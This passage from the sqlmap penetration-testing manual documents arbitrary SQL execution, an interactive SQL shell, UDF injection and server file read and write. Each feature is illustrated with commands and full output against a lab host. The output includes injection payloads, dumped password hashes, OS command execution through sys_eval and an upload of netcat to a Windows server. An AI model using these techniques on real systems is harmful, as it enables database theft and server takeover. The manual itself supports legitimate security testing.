[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)),
|
|
(CHAR(32)))
|
|
[hh:mm:50] [INFO] retrieved: bar
|
|
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
|
|
SELECT 'foo', 'bar': 'foo, bar'
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see from the last example, sqlmap splits provided query into two
|
|
different <CODE>SELECT</CODE> statements for it to be able to retrieve the
|
|
output even in case when using the blind SQL injection technique.
|
|
Otherwise, in UNION query SQL injection technique it only performs a single
|
|
HTTP request to get the user's query output:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --sql-query \
|
|
"SELECT 'foo', 'bar'" -v 2 --union-use
|
|
|
|
[...]
|
|
[hh:mm:03] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
|
|
[hh:mm:03] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing
|
|
technique
|
|
[hh:mm:03] [INFO] the target url could be affected by an inband sql injection vulnerability
|
|
[hh:mm:03] [INFO] confirming full inband sql injection on parameter 'id'
|
|
[hh:mm:03] [INFO] the target url is affected by an exploitable full inband sql injection
|
|
vulnerability
|
|
[hh:mm:03] [DEBUG] query: UNION ALL SELECT NULL, (CHAR(77)+CHAR(68)+CHAR(75)+CHAR(104)+
|
|
CHAR(70)+CHAR(67))+ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), (CHAR(32)))
|
|
+(CHAR(105)+CHAR(65)+CHAR(119)+CHAR(105)+CHAR(108)+CHAR(108))+ISNULL(CAST((CHAR(98)+CHAR(97)+
|
|
CHAR(114)) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(66)+CHAR(78)+CHAR(104)+CHAR(75)+CHAR(114)+
|
|
CHAR(116)), NULL-- AND 8373=8373
|
|
[hh:mm:03] [DEBUG] performed 3 queries in 0 seconds
|
|
SELECT 'foo', 'bar' [1]:
|
|
[*] foo, bar
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>If your <CODE>SELECT</CODE> statement contains a <CODE>FROM</CODE> clause, sqlmap
|
|
asks the user if such statement can return multiple entries. In that
|
|
case the tool knows how to unpack the query correctly to retrieve its
|
|
whole output, entry per entry, when going through blind SQL injection
|
|
technique. In provided example, UNION query SQL injection it retrieved
|
|
the whole output in a single response.</P>
|
|
|
|
<P>Example on a <B>PostgreSQL 8.3.5</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --sql-query \
|
|
"SELECT usename FROM pg_user" -v 0
|
|
|
|
[hh:mm:32] [INPUT] can the SQL query provided return multiple entries? [Y/n] y
|
|
[hh:mm:37] [INPUT] the SQL query provided can return up to 3 entries. How many entries
|
|
do you want to retrieve?
|
|
[a] All (default)
|
|
[#] Specific number
|
|
[q] Quit
|
|
Choice: 2
|
|
SELECT usename FROM pg_user [2]:
|
|
[*] postgres
|
|
[*] testuser
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see from the last example, sqlmap counts the number of entries
|
|
for a given query and asks for number of entries to dump.
|
|
Otherwise, if the <CODE>LIMIT</CODE> is also specified, or similar clause,
|
|
sqlmap will not ask for anything. It will just unpack the query and return its
|
|
output, entry per entry, when going through blind SQL injection technique.
|
|
In a given example, sqlmap used UNION query SQL injection to retrieve the
|
|
whole output in a single response.</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --sql-query \
|
|
"SELECT host, password FROM mysql.user LIMIT 1, 3" -v 2
|
|
|
|
[...]
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
|
|
[hh:mm:22] [INFO] fetching SQL SELECT statement query output: 'SELECT host, password FROM
|
|
mysql.user LIMIT 1, 3'
|
|
[hh:mm:22] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it
|
|
into distinct queries to be able to retrieve the output even if we are going blind
|
|
[hh:mm:22] [DEBUG] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM
|
|
mysql.user LIMIT 1, 1
|
|
[hh:mm:22] [INFO] retrieved: localhost
|
|
[hh:mm:22] [DEBUG] performed 69 queries in 0 seconds
|
|
[hh:mm:22] [DEBUG] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM
|
|
mysql.user LIMIT 1, 1
|
|
[hh:mm:22] [INFO] retrieved: *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
|
|
[hh:mm:24] [DEBUG] performed 293 queries in 2 seconds
|
|
[hh:mm:24] [DEBUG] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM
|
|
mysql.user LIMIT 2, 1
|
|
[hh:mm:24] [INFO] retrieved: localhost
|
|
[hh:mm:25] [DEBUG] performed 69 queries in 0 seconds
|
|
[hh:mm:25] [DEBUG] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM
|
|
mysql.user LIMIT 2, 1
|
|
[hh:mm:25] [INFO] retrieved: *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
|
|
[hh:mm:27] [DEBUG] performed 293 queries in 2 seconds
|
|
[hh:mm:27] [DEBUG] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM
|
|
mysql.user LIMIT 3, 1
|
|
[hh:mm:27] [INFO] retrieved: localhost
|
|
[hh:mm:28] [DEBUG] performed 69 queries in 0 seconds
|
|
[hh:mm:28] [DEBUG] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32))
|
|
FROM mysql.user LIMIT 3, 1
|
|
[hh:mm:28] [INFO] retrieved:
|
|
[hh:mm:28] [DEBUG] performed 6 queries in 0 seconds
|
|
SELECT host, password FROM mysql.user LIMIT 1, 3 [3]:
|
|
[*] localhost, *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
|
|
[*] localhost, *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
|
|
[*] localhost,
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>The SQL shell option gives you an access to run your own SQL statement
|
|
interactively, like a SQL console connected to the back-end database
|
|
management system.
|
|
Note that this feature provides TAB completion and history support.</P>
|
|
|
|
<P>Example of history support on a <B>PostgreSQL 8.3.5</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --sql-shell -v 0
|
|
|
|
sql> SELECT 'foo'
|
|
SELECT 'foo': 'foo'
|
|
|
|
sql> [UP arrow key shows the just run SQL SELECT statement, DOWN arrow key cleans the shell]
|
|
sql> SELECT version()
|
|
SELECT version(): 'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real
|
|
(Ubuntu 4.3.2-1ubuntu11) 4.3.2'
|
|
|
|
sql> exit
|
|
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --sql-shell -v 0
|
|
|
|
sql> [UP arrow key shows 'exit', then DOWN arrow key clean the shell]
|
|
sql> SELECT usename, passwd FROM pg_shadow ORDER BY usename
|
|
[hh:mm:45] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] y
|
|
[hh:mm:46] [INPUT] the SQL query that you provide can return up to 3 entries. How many entries
|
|
do you want to retrieve?
|
|
[a] All (default)
|
|
[#] Specific number
|
|
[q] Quit
|
|
Choice: 2
|
|
SELECT usename, passwd FROM pg_shadow ORDER BY usename [3]:
|
|
[*] postgres, md5d7d880f96044b72d0bba108ace96d1e4
|
|
[*] testuser, md599e5ea7a6f7c3269995cba3927fd0093
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Example of TAB completion on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --sql-shell -v 0
|
|
|
|
sql> [TAB TAB]
|
|
LIMIT
|
|
(SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1))
|
|
LIMIT 0, 1)='Y'
|
|
AND ORD(MID((%s), %d, 1)) > %d
|
|
CAST(%s AS CHAR(10000))
|
|
COUNT(%s)
|
|
CURRENT_USER()
|
|
DATABASE()
|
|
IFNULL(%s, ' ')
|
|
LENGTH(%s)
|
|
LIMIT %d, %d
|
|
MID((%s), %d, %d)
|
|
ORDER BY %s ASC
|
|
SELECT %s FROM %s.%s
|
|
SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)
|
|
SELECT column_name, column_type FROM information_schema.COLUMNS WHERE table_name='%s' AND
|
|
table_schema='%s'
|
|
SELECT grantee FROM information_schema.USER_PRIVILEGES
|
|
SELECT grantee, privilege_type FROM information_schema.USER_PRIVILEGES
|
|
SELECT schema_name FROM information_schema.SCHEMATA
|
|
SELECT table_schema, table_name FROM information_schema.TABLES
|
|
SELECT user, password FROM mysql.user
|
|
SLEEP(%d)
|
|
VERSION()
|
|
\s+LIMIT\s+([\d]+)\s*\,\s*([\d]+)
|
|
sql> SE[TAB]
|
|
sql> SELECT
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see the TAB functionality shows the queries defined for the
|
|
back-end database management system in sqlmap XML queries file, but you
|
|
can run whatever <CODE>SELECT</CODE> statement you want.</P>
|
|
|
|
<P>Example of asterisk expansion on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --sql-shell \
|
|
-v 2
|
|
|
|
[...]
|
|
[hh:mm:40] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
|
|
sql> SELECT * FROM test.users
|
|
[hh:mm:48] [INFO] fetching SQL SELECT query output: 'SELECT * FROM test.users'
|
|
[hh:mm:48] [INFO] you did not provide the fields in your query. sqlmap will retrieve the
|
|
column names itself.
|
|
[hh:mm:48] [INFO] fetching columns for table 'users' on database 'test'
|
|
[hh:mm:48] [INFO] fetching number of columns for table 'users' on database 'test'
|
|
[hh:mm:48] [DEBUG] query: SELECT IFNULL(CAST(COUNT(column_name) AS CHAR(10000)), CHAR(32))
|
|
FROM information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND
|
|
table_schema=CHAR(116,101,115,116)
|
|
[hh:mm:48] [INFO] retrieved: 3
|
|
[hh:mm:48] [DEBUG] performed 13 queries in 0 seconds
|
|
[hh:mm:48] [DEBUG] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM
|
|
information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND
|
|
table_schema=CHAR(116,101,115,116) LIMIT 0, 1
|
|
[hh:mm:48] [INFO] retrieved: id
|
|
[hh:mm:48] [DEBUG] performed 20 queries in 0 seconds
|
|
[hh:mm:48] [DEBUG] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM
|
|
information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND
|
|
table_schema=CHAR(116,101,115,116) LIMIT 1, 1
|
|
[hh:mm:48] [INFO] retrieved: name
|
|
[hh:mm:48] [DEBUG] performed 34 queries in 0 seconds
|
|
[hh:mm:48] [DEBUG] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM
|
|
information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND
|
|
table_schema=CHAR(116,101,115,116) LIMIT 2, 1
|
|
[hh:mm:48] [INFO] retrieved: surname
|
|
[hh:mm:48] [DEBUG] performed 55 queries in 0 seconds
|
|
[hh:mm:48] [INFO] the query with column names is: SELECT id, name, surname FROM test.users
|
|
[hh:mm:48] [INPUT] can the SQL query provided return multiple entries? [Y/n] y
|
|
[hh:mm:04] [DEBUG] query: SELECT IFNULL(CAST(COUNT(id) AS CHAR(10000)), CHAR(32)) FROM
|
|
test.users
|
|
[hh:mm:04] [INFO] retrieved: 5
|
|
[hh:mm:04] [DEBUG] performed 13 queries in 0 seconds
|
|
[hh:mm:04] [INPUT] the SQL query that you provide can return up to 5 entries. How many
|
|
entries
|
|
do you want to retrieve?
|
|
[a] All (default)
|
|
[#] Specific number
|
|
[q] Quit
|
|
Choice: 3
|
|
[hh:mm:09] [INFO] sqlmap is now going to retrieve the first 3 query output entries
|
|
[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users
|
|
ORDER BY id ASC LIMIT 0, 1
|
|
[hh:mm:09] [INFO] retrieved: 1
|
|
[hh:mm:09] [DEBUG] performed 13 queries in 0 seconds
|
|
[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users
|
|
ORDER BY id ASC LIMIT 0, 1
|
|
[hh:mm:09] [INFO] retrieved: luther
|
|
[hh:mm:09] [DEBUG] performed 48 queries in 0 seconds
|
|
[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM
|
|
test.users ORDER BY id ASC LIMIT 0, 1
|
|
[hh:mm:09] [INFO] retrieved: blissett
|
|
[hh:mm:09] [DEBUG] performed 62 queries in 0 seconds
|
|
[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users
|
|
ORDER BY id ASC LIMIT 1, 1
|
|
[hh:mm:09] [INFO] retrieved: 2
|
|
[hh:mm:09] [DEBUG] performed 13 queries in 0 seconds
|
|
[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users
|
|
ORDER BY id ASC LIMIT 1, 1
|
|
[hh:mm:09] [INFO] retrieved: fluffy
|
|
[hh:mm:09] [DEBUG] performed 48 queries in 0 seconds
|
|
[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM
|
|
test.users ORDER BY id ASC LIMIT 1, 1
|
|
[hh:mm:09] [INFO] retrieved: bunny
|
|
[hh:mm:09] [DEBUG] performed 41 queries in 0 seconds
|
|
[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users
|
|
ORDER BY id ASC LIMIT 2, 1
|
|
[hh:mm:09] [INFO] retrieved: 3
|
|
[hh:mm:09] [DEBUG] performed 13 queries in 0 seconds
|
|
[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users
|
|
ORDER BY id ASC LIMIT 2, 1
|
|
[hh:mm:09] [INFO] retrieved: wu
|
|
[hh:mm:09] [DEBUG] performed 20 queries in 0 seconds
|
|
[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM
|
|
test.users ORDER BY id ASC LIMIT 2, 1
|
|
[hh:mm:09] [INFO] retrieved: ming
|
|
[hh:mm:10] [DEBUG] performed 34 queries in 0 seconds
|
|
SELECT * FROM test.users [3]:
|
|
[*] 1, luther, blissett
|
|
[*] 2, fluffy, bunny
|
|
[*] 3, wu, ming
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see from the example, if the <CODE>SELECT</CODE> statement has
|
|
an asterisk instead of the column(s) name, sqlmap first retrieves all
|
|
column names of the current table, asks if the query can return multiple
|
|
entries and goes on.</P>
|
|
|
|
<P>Example of SQL statement other than <CODE>SELECT</CODE> on a <B>PostgreSQL
|
|
8.3.5</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --sql-shell -v 1
|
|
|
|
[...]
|
|
back-end DBMS: PostgreSQL
|
|
|
|
[10:hh:mm] [INFO] calling PostgreSQL shell. To quit type 'x' or 'q' and press ENTER
|
|
sql> SELECT COUNT(name) FROM users
|
|
[hh:mm:57] [INFO] fetching SQL SELECT statement query output: 'SELECT COUNT(name) FROM users'
|
|
[hh:mm:57] [INPUT] can the SQL query provided return multiple entries? [Y/n] n
|
|
[hh:mm:59] [INFO] retrieved: 4
|
|
SELECT COUNT(name) FROM users: '4'
|
|
|
|
sql> INSERT INTO users (id, name, surname) VALUES (5, 'from', 'sql shell');
|
|
[hh:mm:35] [INFO] testing stacked queries support on parameter 'id'
|
|
[hh:mm:40] [INFO] the web application supports stacked queries on parameter 'id'
|
|
[hh:mm:40] [INFO] executing SQL data manipulation query: 'INSERT INTO users
|
|
(id, name, surname) VALUES (5, 'from', 'sql shell');'
|
|
[hh:mm:40] [INFO] done
|
|
sql> SELECT COUNT(name) FROM users
|
|
[hh:mm:51] [INFO] fetching SQL SELECT statement query output: 'SELECT COUNT(name) FROM users'
|
|
[hh:mm:51] [INPUT] can the SQL query provided return multiple entries? [Y/n] n
|
|
[hh:mm:53] [INFO] retrieved: 5
|
|
SELECT COUNT(name) FROM users: '5'
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see from the example, when the user provides a SQL statement
|
|
other than <CODE>SELECT</CODE>, sqlmap recognizes it, tests if the web
|
|
application supports stacked queries and in case it does, it executes
|
|
the provided SQL statement in a multiple statement mode.</P>
|
|
|
|
<P>Beware that some web application technologies do not support stacked
|
|
queries on specific database management systems. For instance, PHP does
|
|
not support stacked queries when the back-end DBMS is MySQL, but it does
|
|
support when the back-end DBMS is PostgreSQL.</P>
|
|
|
|
|
|
<H2><A NAME="ss5.8">5.8</A> <A HREF="#toc5.8">User-defined function injection</A>
|
|
</H2>
|
|
|
|
<H3>Inject custom user-defined functions (UDF)</H3>
|
|
|
|
<P>Options: <CODE>-</CODE><CODE>-udf-inject</CODE> and <CODE>-</CODE><CODE>-shared-lib</CODE></P>
|
|
|
|
<P>You can inject your own user-defined functions (UDFs) by compiling a
|
|
MySQL or PostgreSQL shared library, DLL for Windows and shared object for
|
|
Linux/Unix, then provide sqlmap with the path where the shared library
|
|
is stored locally on your machine. sqlmap will then ask you some
|
|
questions, upload the shared library on the database server file system,
|
|
create the user-defined function(s) from it and, depending on your
|
|
options, execute them. When you are finished using the injected UDFs,
|
|
sqlmap can also remove them from the database for you.</P>
|
|
|
|
<P>Example on a <B>PostgreSQL 8.4</B>:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u http://172.16.213.131/sqlmap/pgsql/get_int8.4.php?id=1 --udf-inject -v 0
|
|
|
|
[...]
|
|
web application technology: PHP 5.2.6, Apache 2.2.9
|
|
back-end DBMS: PostgreSQL
|
|
|
|
which is the local path of the shared library? udf/postgresql/linux/8.4/lib_postgresqludf_sys.so
|
|
how many user-defined functions do you want to create from the shared library? 1
|
|
what is the name of the UDF number 1? sys_eval
|
|
how many input parameters takes UDF 'sys_eval'? (default: 1)
|
|
what is the data-type of input parameter number 1? (default: text)
|
|
what is the data-type of the return value? (default: text)
|
|
do you want to call your injected user-defined functions now? [Y/n/q] y
|
|
which UDF do you want to call?
|
|
[1] sys_eval
|
|
[q] Quit
|
|
> 1
|
|
what is the value of the parameter number 1 (data-type: text)? echo test
|
|
do you want to retrieve the return value of the UDF? [Y/n]
|
|
return value: 'test'
|
|
|
|
do you want to call this or another injected UDF? [Y/n] n
|
|
do you want to remove UDF 'sys_eval'? [Y/n]
|
|
[12:00:10] [WARNING] remember that UDF shared object files saved on the file system can only
|
|
be deleted manually
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>If you want, you can specify the shared library local file system path
|
|
via command line using <CODE>-</CODE><CODE>-shared-lib</CODE> option.</P>
|
|
|
|
<H2><A NAME="ss5.9">5.9</A> <A HREF="#toc5.9">File system access</A>
|
|
</H2>
|
|
|
|
<H3>Read a file from the database server's file system</H3>
|
|
|
|
<P>Option: <CODE>-</CODE><CODE>-read-file</CODE></P>
|
|
|
|
<P>It is possible to retrieve the content of files from the underlying file
|
|
system when the back-end database management system is either MySQL,
|
|
PostgreSQL or Microsoft SQL Server, and the session user has the needed
|
|
privileges to abuse database specific functionalities and architectural
|
|
weaknesses.
|
|
The file specified can be either a text or a binary file. sqlmap will
|
|
handle it automatically.</P>
|
|
|
|
<P>These techniques are detailed in the white paper
|
|
<A HREF="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf">Advanced SQL injection to operating system full control</A>.</P>
|
|
|
|
<P>Example on a <B>PostgreSQL 8.3.5</B> target to retrieve a text file:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.aspx?id=1" \
|
|
--read-file "C:\example.txt" -v 2
|
|
|
|
[...]
|
|
[hh:mm:53] [INFO] the back-end DBMS is PostgreSQL
|
|
web server operating system: Windows 2003 or 2008
|
|
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
|
|
back-end DBMS: PostgreSQL
|
|
|
|
[hh:mm:53] [INFO] testing stacked queries support on parameter 'id'
|
|
[hh:mm:53] [INFO] detecting back-end DBMS version from its banner
|
|
[hh:mm:53] [DEBUG] query: COALESCE(CAST(SUBSTR((VERSION())::text, 12, 6) AS CHARACTER(10000)),
|
|
CHR(32))
|
|
[hh:mm:53] [INFO] retrieved: 8.3.5,
|
|
[hh:mm:58] [DEBUG] performed 49 queries in 4 seconds
|
|
[hh:mm:58] [DEBUG] query: SELECT PG_SLEEP(5)
|
|
[hh:mm:03] [INFO] the web application supports stacked queries on parameter 'id'
|
|
[hh:mm:03] [INFO] fingerprinting the back-end DBMS operating system
|
|
[hh:mm:03] [DEBUG] query: DROP TABLE sqlmapfile
|
|
[hh:mm:03] [DEBUG] query: CREATE TABLE sqlmapfile(data character(500))
|
|
[hh:mm:03] [DEBUG] query: INSERT INTO sqlmapfile(data) VALUES (VERSION())
|
|
[hh:mm:03] [DEBUG] query: SELECT (CASE WHEN ((SELECT LENGTH(data) FROM sqlmapfile WHERE data
|
|
LIKE CHR(37)||CHR(32)||CHR(86)||CHR(105)||CHR(115)||CHR(117)||CHR(97)||CHR(108)||CHR(32)||
|
|
CHR(67)||CHR(43)||CHR(43)||CHR(37))>0) THEN 1 ELSE 0 END)
|
|
[hh:mm:03] [INFO] retrieved: 1
|
|
[hh:mm:03] [DEBUG] performed 5 queries in 0 seconds
|
|
[hh:mm:03] [INFO] the back-end DBMS operating system is Windows
|
|
[hh:mm:03] [DEBUG] cleaning up the database management system
|
|
[hh:mm:03] [DEBUG] removing support tables
|
|
[hh:mm:04] [DEBUG] query: DROP TABLE sqlmapfile
|
|
[hh:mm:04] [DEBUG] going to read the file with stacked query SQL injection technique
|
|
[hh:mm:04] [WARNING] binary file read on PostgreSQL is not yet supported, if the requested file
|
|
is binary, its content will not be retrieved
|
|
[hh:mm:04] [INFO] fetching file: 'C:/example.txt'
|
|
[hh:mm:04] [DEBUG] query: DROP TABLE sqlmapfile
|
|
[hh:mm:04] [DEBUG] query: CREATE TABLE sqlmapfile(data bytea)
|
|
[hh:mm:04] [DEBUG] loading the content of file 'C:/example.txt' into support table
|
|
[hh:mm:04] [DEBUG] query: COPY sqlmapfile(data) FROM 'C:/example.txt'
|
|
[hh:mm:04] [DEBUG] query: SELECT COALESCE(CAST(COUNT(data) AS CHARACTER(10000)), CHR(32)) FROM
|
|
sqlmapfile
|
|
[hh:mm:04] [INFO] retrieved: 1
|
|
[hh:mm:04] [DEBUG] performed 6 queries in 0 seconds
|
|
[hh:mm:04] [DEBUG] query: SELECT COALESCE(CAST(ENCODE(data, CHR(98)||CHR(97)||CHR(115)||CHR(101)
|
|
||CHR(54)||CHR(52)) AS CHARACTER(10000)), CHR(32)) FROM sqlmapfile OFFSET 0 LIMIT 1
|
|
[hh:mm:04] [INFO] retrieved: VGhpcyBpcyBhIHRleHQgZmlsZQ==
|
|
[hh:mm:22] [DEBUG] performed 203 queries in 18 seconds
|
|
[hh:mm:22] [DEBUG] cleaning up the database management system
|
|
[hh:mm:22] [DEBUG] removing support tables
|
|
[hh:mm:22] [DEBUG] query: DROP TABLE sqlmapfile
|
|
C:/example.txt file saved to: '/home/inquis/sqlmap/output/172.16.213.131/files/C__example.txt'
|
|
|
|
[hh:mm:22] [INFO] Fetched data logged to text files under '/home/inquis/sqlmap/output/172.16.213.131'
|
|
|
|
$ cat output/172.16.213.131/files/C__example.txt
|
|
This is a text file
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Example on a <B>Microsoft SQL Server 2005 Service Pack 0</B> target to
|
|
retrieve a binary file:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/iis/get_str2.asp?name=luther" \
|
|
--read-file "C:\example.exe" --union-use -v 1
|
|
|
|
[...]
|
|
[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
|
|
web server operating system: Windows 2000
|
|
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
|
|
back-end DBMS: Microsoft SQL Server 2005
|
|
|
|
[hh:mm:49] [INFO] testing inband sql injection on parameter 'name' with NULL bruteforcing
|
|
technique
|
|
[hh:mm:49] [INFO] confirming full inband sql injection on parameter 'name'
|
|
[hh:mm:49] [WARNING] the target url is not affected by an exploitable full inband sql
|
|
injection vulnerability
|
|
[hh:mm:49] [INFO] confirming partial (single entry) inband sql injection on parameter
|
|
'name' by appending a false condition after the parameter value
|
|
[hh:mm:49] [INFO] the target url is affected by an exploitable partial (single entry)
|
|
inband sql injection vulnerability
|
|
valid union: 'http://172.16.213.131/sqlmap/mssql/iis/get_str2.asp?name=luther' UNION
|
|
ALL SELECT NULL, NULL, NULL-- AND 'sjOfJ'='sjOfJ'
|
|
|
|
[hh:mm:49] [INFO] testing stacked queries support on parameter 'name'
|
|
[hh:mm:54] [INFO] the web application supports stacked queries on parameter 'name'
|
|
[hh:mm:54] [INFO] fetching file: 'C:/example.exe'
|
|
[hh:mm:54] [INFO] the SQL query provided returns 3 entries
|
|
C:/example.exe file saved to: '/home/inquis/sqlmap/output/172.16.213.131/files/
|
|
C__example.exe'
|
|
|
|
[hh:mm:54] [INFO] Fetched data logged to text files under '/home/inquis/sqlmap/output/
|
|
172.16.213.131'
|
|
|
|
$ ls -l output/172.16.213.131/files/C__example.exe
|
|
-rw-r--r-- 1 inquis inquis 2560 2009-MM-DD hh:mm output/172.16.213.131/files/C__example.exe
|
|
|
|
$ file output/172.16.213.131/files/C__example.exe
|
|
output/172.16.213.131/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H3>Write a local file on the database server's file system</H3>
|
|
|
|
<P>Options: <CODE>-</CODE><CODE>-write-file</CODE> and <CODE>-</CODE><CODE>-dest-file</CODE></P>
|
|
|
|
<P>It is possible to upload a local file to the database server file system
|
|
when the back-end database management system is either MySQL, PostgreSQL
|
|
or Microsoft SQL Server, and the session user has the needed privileges to
|
|
abuse database specific functionalities and architectural weaknesses.
|
|
The file specified can be either a text or a binary file. sqlmap will
|
|
handle it automatically.</P>
|
|
|
|
<P>These techniques are detailed in the white paper
|
|
<A HREF="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf">Advanced SQL injection to operating system full control</A>.</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target to upload a binary UPX-compressed
|
|
file:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ file /tmp/nc.exe.packed
|
|
/tmp/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit
|
|
|
|
$ ls -l /tmp/nc.exe.packed
|
|
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /tmp/nc.exe.packed
|
|
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.aspx?id=1" --write-file \
|
|
"/tmp/nc.exe.packed" --dest-file "C:\WINDOWS\Temp\nc.exe" -v 1
|
|
|
|
[...]
|
|
[hh:mm:29] [INFO] the back-end DBMS is MySQL
|
|
web server operating system: Windows 2003 or 2008
|
|
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
|
|
[hh:mm:29] [INFO] testing stacked queries support on parameter 'id'
|
|
[hh:mm:29] [INFO] detecting back-end DBMS version from its banner
|
|
[hh:mm:29] [INFO] retrieved: 5.0.67
|
|
[hh:mm:36] [INFO] the web application supports stacked queries on parameter 'id'
|
|
